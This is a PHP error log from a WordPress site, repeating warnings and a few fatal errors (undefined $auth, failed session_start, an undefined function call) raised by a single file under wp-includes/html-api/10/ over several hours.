[14-Feb-2026 05:54:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:31 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:31 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $ext in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1178
[14-Feb-2026 05:54:32 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1193
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1193
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:55:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:55:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:03 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:03 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:25 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:25 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:27 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 06:04:27 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 570
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 570
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:33 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 06:04:33 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:02:57 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1193
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1193
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 07:03:46 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 07:03:46 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:34 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:09:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:09:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:18:59 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:05 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:05 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:07 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:07 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:08 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:11 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:13 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:13 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1081
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1081
[14-Feb-2026 08:19:15 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:15 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:15 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:15 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:15 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:15 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:15 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:17 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
